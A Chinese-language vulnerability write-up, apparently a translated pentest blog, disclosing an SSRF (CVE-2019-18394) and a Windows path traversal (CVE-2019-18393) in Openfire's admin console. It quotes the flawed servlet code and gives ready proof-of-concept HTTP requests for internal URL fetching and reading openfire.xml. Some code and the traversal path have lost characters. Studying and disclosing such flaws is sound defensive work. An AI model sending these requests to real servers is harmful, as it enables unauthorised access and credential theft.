Openfire 是 Ignite Realtime 支持的 Jabber 服务器。它是一个跨平台的 Java 应用程序,它将自己定位为一个供中型企业控制内部通信并使即时消息传递更容易的平台。
我经常在渗透测试活动中看到 Openfire,大部分时间这个系统的所有接口都暴露给外部攻击者,包括 9090/http 和 9091/https 端口上的管理接口:
Openfire 管理控制台
由于 Openfire 系统在 GitHub 上可用,因此我决定检查此 Web 界面的代码。这是关于我能够找到的两个漏洞的简短文章。
全读SSRF漏洞
分配的 CVE: CVE-2019-18394 漏洞文件: FaviconServlet.java(修复提交)
该漏洞允许未经身份验证的攻击者向内部网络发送任意 HTTP GET 请求,并从目标 Web 服务获取完整大小的输出。
让我们看看包含在 FaviconServlet.java 文件中的易受攻击的代码:
代码语言:javascript复制...
public void doGet(HttpServletRequest request, HttpServletResponse response) {
String host = request.getParameter("host");
// Check special cases where we need to change host to get a favicon
host = "gmail.com".equals(host) ? "google.com" : host;
byte[] bytes = getImage(host, defaultBytes);
if (bytes != null) {
writeBytesToStream(bytes, response);
}
}
private byte[] getImage(String host, byte[] defaultImage) {
// If we've already attempted to get the favicon twice and failed,
// return the default image.
if (missesCache.get(host) != null && missesCache.get(host) > 1) {
// Domain does not have a favicon so return default icon
return defaultImage;
}
// See if we've cached the favicon.
if (hitsCache.containsKey(host)) {
return hitsCache.get(host);
}
byte[] bytes = getImage("http://" host "/favicon.ico");
....
}
...
在doGet和getImage方法中,代码从 get 参数获取宿主变量,并从中构造一个 URL,对组件部分没有任何限制。因此,攻击者可以在其中放置任何字符序列,并使服务器连接到他们想要的任何 URL。
测试漏洞的 HTTP 请求:
代码语言:javascript复制GET /getFavicon?host=192.168.176.1:8080/secrets.txt? HTTP/1.1
Host: assesmenthost.com:9090
易受攻击的服务器行为的示例:
Burp Suite 中 CVE-2019-18394 漏洞利用示例
任意文件读取漏洞
分配的 CVE: CVE-2019-18393 漏洞文件: PluginServlet.java(修复提交)
此漏洞仅影响 OpenFire 服务器的 Windows 安装,攻击者必须在服务器上拥有管理帐户才能利用它。
易受攻击的代码位于 PluginServlet.java 文件中:
代码语言:javascript复制...
@Override
public void service(HttpServletRequest request, HttpServletResponse response) {
String pathInfo = request.getPathInfo();
if (pathInfo == null) {
response.setStatus(HttpServletResponse.SC_NOT_FOUND);
}
else {
try {
// Handle JSP requests.
if (pathInfo.endsWith(".jsp")) {
...
}
// Handle servlet requests.
else if (getServlet(pathInfo) != null) {
handleServlet(pathInfo, request, response);
}
// Handle image/other requests.
else {
handleOtherRequest(pathInfo, response);
}
}
...
}
private void handleOtherRequest(String pathInfo, HttpServletResponse response) throws IOException {
String[] parts = pathInfo.split("/");
// Image request must be in correct format.
if (parts.length < 3) {
response.setStatus(HttpServletResponse.SC_NOT_FOUND);
return;
}
String contextPath = "";
int index = pathInfo.indexOf(parts[1]);
if (index != -1) {
contextPath = pathInfo.substring(index parts[1].length());
}
File pluginDirectory = new File(JiveGlobals.getHomeDirectory(), "plugins");
File file = new File(pluginDirectory, parts[1] File.separator "web" contextPath);
// When using dev environment, the images dir may be under something other that web.
Plugin plugin = pluginManager.getPlugin(parts[1]);
...
}
这个漏洞的有趣之处在于它存在于 URI 本身中,并且不涉及 HTTP 参数。
负责处理/plugin/search/路径的handleOtherRequest方法假设如果将pathInfo变量用“/”字符拆分,则获得的序列将可以安全使用。但是由于没有字符许可列表或对“”字符的任何检查,我们可以对 Windows 系统执行路径遍历攻击。
要测试漏洞,请登录服务器,并使用管理员的 JSESSIONID cookie 发送以下请求:
代码语言:javascript复制GET /plugins/search/......confopenfire.xml HTTP/1.1
Host: assesmenthost.com:9090
Cookie: JSESSIONID=node01aaib5x4g4p781q3i2m2tm74u91.node0;
易受攻击的服务器行为的示例:
Burp Suite 中 CVE-2019-18393 漏洞利用示例
结论
两个发现的漏洞都是不存在的用户输入数据验证的结果。因此,我对开发人员的建议是在对参数执行敏感操作之前对其进行验证,例如读取文件和访问 URL。
值得注意的是,系统管理员还应该保护所有管理界面免受未经授权的访问,并且不要让它们可供外部或内部攻击者使用。